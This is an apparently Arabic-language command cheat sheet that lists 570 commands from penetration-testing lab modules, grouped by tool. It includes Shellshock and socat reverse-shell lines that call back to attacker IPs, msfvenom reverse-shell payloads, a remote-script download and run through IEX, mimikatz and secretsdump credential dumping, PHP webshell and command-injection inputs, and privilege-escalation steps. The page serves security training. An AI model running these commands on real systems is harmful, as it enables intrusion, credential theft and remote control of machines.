مرجع الأوامر

كل الأوامر اللي ظهرت في الموديولات، مجموعة حسب الأداة. اكتب أي حاجة في الفلتر عشان تنقي.

عدد الأوامر: 570 في 101 أداة.

الاستطلاع والشبكات

arp (1)

M25arp -a

curl (46)

M15curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H
M18curl http://www.example.com/shell.php?cmd=ls+-la
M20curl "http://<SERVER_IP>:<PORT>/index.php?
M20curl -s 'http://<SERVER_IP>:<PORT>/index.php?
M20curl -s -X POST --data '<?php system($_GET["cmd"]); ?>'
M20curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
M20curl 'http://<SERVER_IP>:<PORT>/index.php?
M20curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php
M20curl http://<SERVER_IP>:<PORT>/index.php?
M23curl -i -X OPTIONS http://SERVER_IP:PORT/
M23curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li
M23curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP
M23curl -sOJ -X POST -d "contract=$hash"
M24curl -s http://blog.inlanefreight.local | grep WordPress
M24curl -s http://blog.inlanefreight.local/ | grep themes
M24curl -s http://blog.inlanefreight.local/ | grep plugins
M24curl -s http://blog.inlanefreight.local/?p=1 | grep plugins
M24curl http://blog.inlanefreight.local/wp-
M24curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-
M24curl -s http://blog.inlanefreight.local/wp-
M24curl -s https://developer.joomla.org/stats/cms_version | python3 -m
M24curl -s http://dev.inlanefreight.local/ | grep Joomla
M24curl -s http://dev.inlanefreight.local/README.txt | head -n 5
M24curl -s
M24curl -s http://dev.inlanefreight.local/templates/protostar/error.php?
M24curl -s http://drupal.inlanefreight.local | grep Drupal
M24curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
M24curl -s http://drupal.inlanefreight.local/CHANGELOG.txt
M24curl -s http://drupal-qa.inlanefreight.local/node/3?
M24curl -s drupal.inlanefreight.local/modules/captcha/shell.php?
M24curl -s http://drupal-dev.inlanefreight.local/hello.txt
M24curl http://drupal-dev.inlanefreight.local/mrb3n.php?
M24curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
M24curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
M24curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible;
M24curl -i http://10.129.204.231/cgi-bin/access.cgi
M24curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -
M24curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777
M25curl https://10.129.10.11:6443 -k
M25curl https://10.129.10.11:10250/pods -k | jq .
M26curl http://10.10.14.3:8080/srrstr.dll -O
M28curl -s -I http://10.129.203.101 -H "HOST:
M28curl -s http://blog.inlanefreight.local | grep Drupal
M28curl http://ir.inlanefreight.local/wp-content/plugins/mail-
M28curl "http://monitoring.inlanefreight.local/ping.php?ip=127.0.0.1%0a'i'd"
M28curl "http://monitoring.inlanefreight.local/ping.php?

dig (1)

M28dig axfr inlanefreight.local @10.129.203.101

ftp (1)

M28ftp 10.129.203.101

host (1)

M26host slack --cookie d

ip (1)

M25ip a

nc (11)

M21nc -lvnp OUR_PORT
M24nc -lnvp 4443
M24nc -lvnp 8443
M24nc -lnvp 8443
M25nc -lnvp 443
M25nc -nlvp 9001
M26nc -lvnp 9443
M26nc -lnvp 9443
M28nc -nv 10.129.203.101 22
M28nc -lvnp 9000
M28nc -nvlp 8443

netstat (3)

M26netstat -ano
M26netstat -ano | findstr 6064
M28netstat -antp | grep 8081

nmap (7)

M24nmap -p 80,443,8000,8080,8180,8888,1000 --open -oA web_discovery -iL
M24nmap -sV -p 8009,8080 app-dev.inlanefreight.local
M24nmap -p- -sC -Pn 10.129.204.227 --open
M24nmap -p- -sC -Pn 10.129.247.30 --open
M24nmap -p- -sV -sC --open 10.129.224.91
M24nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229
M28nmap -p25 -Pn --script smtp-open-relay 10.129.203.101

openssl (1)

M28openssl enc -in "$LFILE"

ping (3)

M22ping -c 1 OUR_INPUT
M22ping -c 1 127.0.0.1; whoami
M22ping -c 1 127.0.0.1 && whoami

route (1)

M26route print

scp (1)

M28scp -i dmz01_key shell.elf [email protected]:/tmp

socat (3)

M28socat TCP4:10.10.14.5:8443 EXEC:/bin/bash
M28socat file:`tty`,raw,echo=0 tcp-listen:4443
M28socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.15:4443

ssh (6)

M25ssh cry0l1t3@<host IP> -i cry0l1t3.priv
M28ssh [email protected]
M28ssh -i dmz01_key [email protected]
M28ssh -D 8081 -i dmz01_key [email protected]
M28ssh -i dmz01_key -R 172.16.8.120:443:0.0.0.0:7000 [email protected] -vN
M28ssh -i dmz01_key -L 13389:172.16.8.20:3389 [email protected]

tcpdump (1)

M28tcpdump -i ens192 -s 65535 -w ilfreight_pcap

wget (8)

M23wget -q $url/$link
M24wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
M24wget --no-check-certificate
M24wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-
M25wget https://<parrot-os>:443/docker -O docker
M25wget https://raw.githubusercontent.com/google/security-
M26wget "http://10.10.14.3:7777/adduser.dll" -outfile
M26wget http://10.10.15.244:8080/maintenanceservice.exe -O

xfreerdp (3)

M26xfreerdp /v:10.129.43.36 /u:htb-student
M27xfreerdp /v:10.129.203.82 /u:htb-student /p:HTB_@cademy_stdnt!
M28xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino!

فحص الويب والفازينج

droopescan (6)

M24droopescan -h
M24droopescan scan drupal -u URL_HERE
M24droopescan scan silverstripe -u URL_HERE
M24droopescan scan --help
M24droopescan scan joomla --url http://dev.inlanefreight.local/
M24droopescan scan drupal -u http://drupal.inlanefreight.local

ffuf (13)

M15ffuf -h
M15ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v
M15ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-
M15ffuf -w <SNIP> -u http://SERVER_IP:PORT/FUZZ
M15ffuf -w /opt/useful/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ
M15ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-
M15ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-
M15ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X
M20ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u
M20ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-
M20ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?
M24ffuf -w /usr/share/dirb/wordlists/common.txt -u
M28ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H

gobuster (4)

M24gobuster dir -u http://web01.inlanefreight.local:8180/ -w
M24gobuster dir -u http://10.129.204.231/cgi-bin/ -w
M24gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
M28gobuster dir -u http://dev.inlanefreight.local -w

wpscan (3)

M24wpscan -h
M28wpscan -e u -t 500 --url http://ir.inlanefreight.local
M28wpscan --url http://ir.inlanefreight.local -P passwords.txt -U ilfreightwp

قواعد البيانات وSQL

mssqlclient.py (1)

M26mssqlclient.py [email protected] -windows-auth

mysql (4)

M17mysql -u root -p
M17mysql -u root -p<password>
M17mysql -u root -h docker.hackthebox.eu -P 3306 -p
M17mysql -u reader -p

sqlmap (43)

M18sqlmap -hh
M18sqlmap -h
M18sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
M18sqlmap identified the following injection point(s) with a total of 46
M18sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11;
M18sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
M18sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
M18sqlmap -r req.txt
M18sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
M18sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
M18sqlmap -u www.target.com --data='id=1' --method PUT
M18sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t
M18sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
M18sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
M18sqlmap -u www.example.com/?id=1 -v 3 --level=5
M18sqlmap -u www.example.com/?id=1 -v 3
M18sqlmap -u www.example.com/?id=1
M18sqlmap -u www.example.com/?id=1 --level=5 --risk=3
M18sqlmap -u "http://www.example.com/?id=1" --banner --current-user --
M18sqlmap resumed the following injection point(s) from stored session:
M18sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
M18sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
M18sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C
M18sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --
M18sqlmap -u "http://www.example.com/?id=1" --schema
M18sqlmap -u "http://www.example.com/?id=1" --search -T user
M18sqlmap -u "http://www.example.com/?id=1" --search -C pass
M18sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users
M18sqlmap -u "http://www.example.com/?id=1" --passwords --batch
M18sqlmap -u "http://www.example.com/" --data="id=1&csrf-
M18sqlmap to automatically update it in further requests? [y/N] y
M18sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -
M18sqlmap -u "http://www.example.com/?
M18sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
M18sqlmap -u "http://www.example.com/?id=1" --is-dba
M18sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
M18sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-
M18sqlmap -u "http://www.example.com/?id=1" --os-shell
M18sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
M28sqlmap -r sqli.txt --dbms=mysql
M28sqlmap identified the following injection point(s) with a total of 59
M28sqlmap -r sqli.txt --dbms=mysql --dbs
M28sqlmap -r sqli.txt --dbms=mysql -D status --tables

كلمات المرور والهاشات

hashcat (5)

M26hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-
M26hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
M27hashcat -m 5600 bsmith_hash /usr/share/wordlists/rockyou.txt
M28hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt
M28hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt

hydra (1)

M28hydra -l admin -P ./passwords.txt monitoring.inlanefreight.local http-

searchsploit (3)

M24searchsploit adobe coldfusion
M24searchsploit -p 14641
M24searchsploit -p 50057

Active Directory وويندوز

GetUserSPNs.py (2)

M27GetUserSPNs.py INLANEFREIGHT.LOCAL/bsmith -dc-ip 192.168.195.204
M27GetUserSPNs.py INLANEFREIGHT.LOCAL/bsmith -dc-ip 192.168.195.204 -request-

SharpHound.exe (1)

M28SharpHound.exe -c All

accesschk.exe (4)

M26accesschk.exe /accepteula \\.\Pipe\lsass -v
M26accesschk.exe -accepteula -w \pipe\WindscribeService -v
M26accesschk.exe /accepteula -quvcw WindscribeService
M26accesschk.exe /accepteula "mrb3n" -kvuqsw

cmd (3)

M26cmd /c dir /q 'C:\Department Shares\Private\IT'
M26cmd /c echo %PATH%
M26cmd /c copy /Y SecurityService.exe "C:\Program Files

copy (4)

M26copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe
M26copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-
M26copy "$env:LOCALAPPDATA\Google\Chrome\User
M28copy \\TSCLIENT\home\Snaffler.exe

crackmapexec (2)

M26crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
M27crackmapexec smb 192.168.195.220 -u mssqlsvc -p <REDACTED> --lsa

del (3)

M24del c:\programdata\monta.ps1
M24del c:\programdata\oracle.txt
M24del c:\programdata\restart-service.exe

dir (5)

M24dir C:\Users\cybervaca\AppData\Local\Temp\2
M26dir C:\Confidential\
M26dir E:
M26dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* ==
M26dir "C:\Program Files"

enum4linux (1)

M28enum4linux complete on Tue Jun 21 21:50:07 2022

icacls (5)

M26icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-
M26icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
M26icacls c:\Windows\System32\config\SAM
M26icacls "c:\Program Files (x86)\Mozilla Maintenance
M26icacls 'C:\Program Files (x86)\Mozilla Maintenance

ldapsearch (1)

M24ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com"

mimikatz (7)

M26mimikatz # log
M26mimikatz # sekurlsa::minidump lsass.dmp
M26mimikatz # sekurlsa::logonpasswords
M27mimikatz # lsadump::dcsync /user:INLANEFREIGHT\administrator
M28mimikatz # privilege::debug
M28mimikatz # lsadump::secrets
M28mimikatz # token::elevate

net (12)

M26net user
M26net localgroup
M26net localgroup administrators
M26net accounts
M26net localgroup "Event Log Readers"
M26net use T: \\fs01\backups /user:tim MyStr0ngP@ssword
M26net group "Domain Admins" /dom
M26net localgroup Administrators
M26net user hacker
M26net start MozillaMaintenance
M28net user hporter /dom
M28net use

pipelist.exe (1)

M26pipelist.exe /accepteula

query (1)

M26query user

reg (15)

M26reg save HKLM\SYSTEM SYSTEM.SAV
M26reg save HKLM\SAM SAM.SAV
M26reg query
M26reg delete
M26reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t
M26reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD
M26reg delete HKCU\System\CurrentControlSet\Capcom
M26reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
M26reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
M26reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
M26reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
M26reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
M28reg save HKLM\SYSTEM SYSTEM.SAVE
M28reg save HKLM\SECURITY SECURITY.SAVE
M28reg save HKLM\SAM SAM.SAVE

robocopy (1)

M26robocopy /B E:\Windows\NTDS .\ntds ntds.dit

sc (14)

M26sc stop dns
M26sc start dns
M26sc query dns
M26sc qc AppReadiness
M26sc config AppReadiness binPath= "cmd /c net localgroup
M26sc start AppReadiness
M26sc start SecurityService
M26sc config WindscribeService binpath="cmd /c net localgroup
M26sc stop WindscribeService
M26sc start WindscribeService
M26sc config WindScribeService binpath="c:\Program Files
M26sc start WindScribeService
M26sc query WindScribeService
M26sc qc SystemExplorerHelpService

schtasks (1)

M26schtasks /query /fo LIST /v

secretsdump.py (5)

M26secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
M26secretsdump.py [email protected] -just-dc-user administrator
M26secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
M27secretsdump.py inlanefreight/[email protected] -hashes
M28secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security

systeminfo (1)

M26systeminfo win7lpe-systeminfo.txt

takeown (2)

M26takeown /f 'C:\Department Shares\Private\IT\cred.txt'
M26takeown /F C:\Program Files (x86)\Mozilla Maintenance

tasklist (1)

M26tasklist /svc

wmic (5)

M26wmic qfe
M26wmic product get name
M26wmic useraccount where name="netadm" get sid
M26wmic service get name,displayname,pathname,startmode |findstr /i
M26wmic qfe list brief

Metasploit وpivoting

meterpreter (7)

M24meterpreter > getuid
M24meterpreter > sysinfo
M26meterpreter > hashdump
M26meterpreter > getpid
M26meterpreter > ps
M26meterpreter > migrate 2796
M26meterpreter > background

msfvenom (9)

M21msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw >
M24msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war
M26msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add
M26msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll >
M26msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3
M26msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi >
M28msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443
M28msfvenom -p windows/x64/meterpreter/reverse_https lhost=172.16.8.120 -f
M28msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe

proxychains (16)

M28proxychains nmap -sT -p 21,22,80,8080 172.16.8.120
M28proxychains enum4linux -U -P 172.16.8.3
M28proxychains showmount -e 172.16.8.20
M28proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H
M28proxychains nmap -sT -p 3389 172.16.8.20
M28proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86!
M28proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M
M28proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
M28proxychains smbclient -U ssmalls '//172.16.8.3/sysvol'
M28proxychains nmap -sT -p 5985 172.16.8.50
M28proxychains evil-winrm -i 172.16.8.50 -u backupadm
M28proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm
M28proxychains secretsdump.py [email protected] -just-dc-ntlm
M28proxychains evil-winrm -i 172.16.8.3 -u administrator -H
M28proxychains nmap -sT -p 22 172.16.9.25
M28proxychains ssh -i ssmallsadm-id_rsa [email protected]

لينكس والصلاحيات

apt (1)

M25apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' |

cat (48)

M15cat ids.txt
M17cat /tmp/credentials
M17cat /tmp/test.txt
M18cat req.txt
M18cat /tmp/traffic.txt
M18cat ~/.sqlmap/output/www.example.com/files/_etc_passwd
M21cat content-type.txt | grep 'image/' > image-content-types.txt
M23cat Logs/10.129.201.94/etc/passwd.log
M24cat /etc/hosts
M24cat scope_list
M24cat web_discovery.xml | ./aquatone -nmap
M24cat inputs.conf
M24cat ilfreight_subdomains
M24cat C:\programdata\monta.ps1
M24cat fatty-client\beans.xml
M24cat fatty-client\META-INF\MANIFEST.MF
M25cat /etc/passwd
M25cat /etc/os-release
M25cat /etc/shells
M25cat /etc/fstab
M25cat /etc/passwd | cut -f1 -d:
M25cat /etc/group
M25cat /etc/fstab | grep -v "#" | column -t
M25cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'
M25cat /tmp/.test
M25cat /etc/passwd | head -n1
M25cat << EOF > /tmp/libhax.c
M25cat << EOF > /tmp/rootshell.c
M25cat /dmz-backups/backup.sh
M25cat .ssh/id_rsa
M25cat /hostsystem/root/.ssh/id_rsa
M25cat /etc/logrotate.conf
M25cat /etc/logrotate.d/dpkg
M25cat /etc/exports
M25cat shell.c
M25cat /etc/lsb-release
M25cat /etc/passwd | grep cry0l1t3
M26cat 'C:\Department Shares\Private\IT\cred.txt'
M26cat : Access to the path 'C:\Department Shares\Private\IT\cred.txt' is
M26cat 'C:\Confidential\2021 Contract.txt'
M26cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
M26cat .\Contract.txt
M26cat drivers.txt | Select-String -pattern Capcom
M27cat .tmux.conf
M28cat web.config
M28cat 172.16.8.3.json
M28cat SQL\ Express\ Backup.ps1
M28cat adum.vbs

chmod (6)

M25chmod +x ls
M25chmod +x docker
M25chmod u+s /mnt/shell
M28chmod 600 dmz01_key
M28chmod +x shell.elf
M28chmod +x dirtypipe

chown (1)

M25chown root:devs /shareds

docker (2)

M25docker image ls
M25docker -H unix:///var/run/docker.sock run -v /:/mnt -

file (2)

M21file text.jpg
M23file content -->

find (13)

M25find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
M25find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
M25find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student
M25find / -type d -name ".*" -ls 2>/dev/null
M25find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \;
M25find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
M25find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \;
M25find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
M25find / ! -path "*/proc/*" -iname "*config*" -type f
M25find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
M25find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
M25find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec
M25find / -perm -4000 2>/dev/null

getcap (2)

M25getcap {} \;
M25getcap /usr/bin/vim.basic

git (12)

M18git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
M22git clone https://github.com/Bashfuscator/Bashfuscator
M22git clone https://github.com/danielbohannon/Invoke-
M23git clone https://github.com/enjoiz/XXEinjector.git
M25git clone https://github.com/whotwagner/logrotten.git
M25git clone https://github.com/blasty/CVE-2021-3156.git
M25git clone https://github.com/arthepsy/CVE-2021-4034.git
M25git clone https://github.com/AlexisAhmed/CVE-2022-0847-
M25git clone https://github.com/Bonfee/CVE-2022-25636.git
M25git clone https://github.com/Liuk3r/CVE-2023-32233
M26git Run git module
M27git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm

grep (7)

M20grep allow_url_include
M20grep expect
M25grep "*sh$" /etc/passwd
M25grep "create\|compress" /etc/logrotate.conf | grep -v "#"
M25grep -r "def virtual_memory"
M28grep socks4 /etc/proxychains.conf
M28grep from

id (6)

M15id [Status: xxx, Size: xxx, Words: xxx, Lines: xxx]
M17id INT,
M17id INT NOT NULL AUTO_INCREMENT,
M24id : 5996447501
M24id : 7344467234
M25id && hostname

java (1)

M24java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

javac (1)

M24javac -cp fatty-client-new.jar fatty-client-

kubectl (1)

M25kubectl --token=$token --certificate-authority=ca.crt --

ls (28)

M17ls -la /tmp/test.txt
M23ls -1
M24ls C:\programdata\
M24ls fatty-client\
M24ls fatty-client\ -recurse | Select-String "8000" | Select Path,
M24ls C:\Users\cybervaca\Desktop\
M25ls /home
M25ls -la /home/stacey.jenkins/
M25ls -l ~/.ssh
M25ls -la /etc/cron.daily/
M25ls -l /tmp /var/tmp /dev/shm
M25ls -l /bin /usr/bin/ /usr/sbin/
M25ls ~/.ssh
M25ls -la
M25ls -l `pwd`
M25ls -la /dmz-backups/
M25ls -l /mnt/root
M25ls -l
M25ls -al
M25ls /etc/logrotate.d/
M25ls -la /shareds
M25ls -la payroll
M25ls -la /development/
M25ls -l mem_status.py
M25ls -l /usr/local/lib/python3.8/dist-
M25ls -la /usr/lib/python3.8
M26ls \\localhost\pipe\spoolss
M26ls C:\Users\julio\AppData\Roaming\mRemoteNG

lxc (11)

M25lxc image import alpine.tar.gz alpine.tar.gz.root --alias
M25lxc init alpine r00t -c security.privileged=true
M25lxc config device add r00t mydev disk source=/
M25lxc start r00t
M25lxc exec r00t /bin/sh
M25lxc image import ubuntu-template.tar.xz --alias
M25lxc image list
M25lxc init ubuntutemp privesc -c
M25lxc config device add privesc host-root disk
M25lxc start privesc
M25lxc exec privesc /bin/bash

lxd (2)

M25lxd **Never logged in**
M25lxd init

mount (1)

M28mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01

pip3 (2)

M22pip3 install setuptools==65
M25pip3 show psutil

ps (3)

M25ps aux | grep root
M25ps au
M25ps aux | grep tmux

sed (1)

M28sed -e 's/^[ \t]*//' | awk -F '/' '{print $7}' | grep -v "^$" | sort |

strings (1)

M26strings plum.sqlite-wal

su (2)

M25su root adm
M28su srvadm

sudo (56)

M15sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'
M18sudo apt install sqlmap
M20sudo python3 -m http.server <LISTENING_PORT>
M20sudo python -m pyftpdlib -p 21
M23sudo python3 -m http.server 80
M24sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -
M24sudo nmap --open -sV 10.129.201.50
M24sudo apt install eyewitness
M24sudo gem install wpscan
M24sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token
M24sudo wpscan --password-attack xmlrpc -t 20 -U john -P
M24sudo pip3 install droopescan
M24sudo python2.7 -m pip install urllib3
M24sudo python2.7 -m pip install certifi
M24sudo python2.7 -m pip install bs4
M24sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w
M24sudo nmap -sV 10.129.201.50
M24sudo nc -lnvp 443
M24sudo nmap -sV -p- --open -T4 10.129.201.50
M24sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p Pwn3d_by_PRTG!
M24sudo python3 dehashed.py -q inlanefreight.local -p
M24sudo nc -lvnp 7777
M25sudo -l
M25sudo -V
M25sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
M25sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z
M25sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W
M25sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
M25sudo cat /var/lib/logrotate.status
M25sudo mount -t nfs 10.129.2.12:/tmp /mnt
M25sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2
M25sudo /usr/bin/python3 ./mem_status.py
M25sudo /usr/bin/python3 mem_status.py
M25sudo PYTHONPATH=/tmp/ /usr/bin/python3
M25sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
M25sudo -V | head -n1
M25sudo -u#-1 id
M26sudo nc -lnvp 8443
M26sudo python3 -m http.server 8080
M26sudo msfconsole -r handler.rc
M26sudo responder -wrf -v -I tun0
M26sudo wget
M26sudo tar -xf setuptools-2.0.tar.gz
M26sudo python2.7 setup.py install
M26sudo tar -xf xlrd-1.0.0.tar.gz
M26sudo python2.7 windows-exploit-suggester.py --update
M27sudo responder -I eth0 -wrfv
M27sudo bloodhound-python -u 'bsmith' -p '<REDACTED>' -d inlanefreight.local
M27sudo crackmapexec smb 192.168.195.204 -u administrator -H
M28sudo nmap --open -oA inlanefreight_ept_tcp_1k -iL scope
M28sudo nmap --open -p- -A -oA inlanefreight_ept_tcp_all_svc -iL scope
M28sudo tee -a /etc/hosts > /dev/null <<EOT
M28sudo nmap -sV -sC -p25 10.129.203.101
M28sudo wpscan -e ap -t 500 --url http://ir.inlanefreight.local
M28sudo php -S 0.0.0.0:9200
M28sudo /usr/bin/openssl enc -in $LFILE

tar (4)

M24tar xvf captcha-8.x-1.2.tar.gz
M24tar cvf captcha.tar.gz captcha/
M24tar -cvzf updater.tar.gz splunk_shell/
M25tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

uname (2)

M25uname -a
M25uname -r

uniq (1)

M28uniq -c \

unzip (2)

M24unzip aquatone_linux_amd64_1.7.0.zip
M25unzip alpine.zip

whoami (3)

M26whoami /priv
M26whoami /groups
M26whoami /user

zip (1)

M24zip -r backup.war cmd.jsp

أدوات تانية

Get-ChildItem (2)

M26Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt'
M26Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc,

IEX (1)

M26IEX (iwr 'http://10.10.10.205/procmon.ps1')

PowerShell.exe (1)

M24PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"

Snaffler.exe (1)

M28Snaffler.exe -s -d inlanefreight.local -o

certutil.exe (1)

M26certutil.exe -urlcache -split -f

dnscmd.exe (1)

M26dnscmd.exe /config /serverlevelplugindll

gitlab_userenum.sh (1)

M24./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --

lazagne.exe (1)

M28lazagne.exe browsers -firefox

php (4)

M20php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
M23php -S 0.0.0.0:8000
M24php http://drupal.inlanefreight.local/modules/php/
M26php Run php module

powershell.exe (1)

M24powershell.exe -exec bypass -file c:\programdata\monta.ps1

procdump.exe (1)

M26procdump.exe -accepteula -ma lsass.exe lsass.dmp

python (2)

M18python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'
M18python sqlmap.py

python3 (13)

M22python3 setup.py install --user
M23python3 -m http.server 8000
M24python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
M24python3 drupalgeddon2.py
M24python3 mgr_brute.py -h
M24python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager
M24python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u
M24python3 50057.py
M25python3 -c 'import sys; print("\n".join(sys.path))'
M26python3 -m http.server 7777
M26python3 -m http.server 8080
M26python3 mremoteng_decrypt.py -s
M26python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite" --

restic.exe (4)

M26restic.exe -r E:\restic2\ backup C:\SampleFolder
M26restic.exe -r E:\restic2\ backup C:\Windows\System32\config --
M26restic.exe -r E:\restic2\ snapshots
M26restic.exe -r E:\restic2\ restore 9971e881 --target C:\Restore

ruby (1)

M23ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req -

smbserver.py (1)

M26smbserver.py -smb2support share